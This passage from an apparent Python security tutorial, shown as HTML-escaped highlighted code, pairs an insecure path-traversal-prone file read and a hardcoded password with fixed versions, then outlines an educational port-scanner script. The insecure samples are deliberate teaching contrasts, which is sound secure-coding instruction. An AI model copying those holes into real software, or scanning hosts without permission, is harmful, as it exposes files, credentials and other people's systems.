&lt;/span&gt;    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/www/files/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# SECURE: Validate and resolve path
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_file_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;base_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/www/files&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;file_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c1"&gt;# Check that resolved path is still inside base directory
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_dir&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Path traversal attempt detected&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# INSECURE: Hardcoded credentials
&lt;/span&gt;&lt;span class="n"&gt;DATABASE_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;supersecret123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# Never do this
&lt;/span&gt;
&lt;span class="c1"&gt;# SECURE: Use environment variables
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;DATABASE_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;DATABASE_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DB_PASSWORD environment variable not set&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  10.3 Writing Reliable Security Scripts
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="c1"&gt;# Professional script structure
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;setup_logging&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEBUG&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INFO&lt;/span&gt;
    &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basicConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%(asctime)s [%(levelname)s] %(message)s&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;handlers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;FileHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scan_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%Y%m%d_%H%M%S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;StreamHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_arguments&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ArgumentParser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port scanner — educational example&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;formatter_class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RawDescriptionHelpFormatter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;epilog&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Example: python3 scanner.py -t 192.168.1.1 -p 22,80,443&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--target&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Target host or IP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-p&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;80,443&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Comma-separated ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-T&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--timeout&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Timeout in seconds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-v&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--verbose&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;store_true&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Verbose output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-o&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Output file (JSON)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_arguments&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;setup_logging&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getLogger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Starting scan of &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid port specification: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;is_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is_open&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;closed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OPEN&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is_open&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;closed&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Error scanning port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
        &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;target&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Results written to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

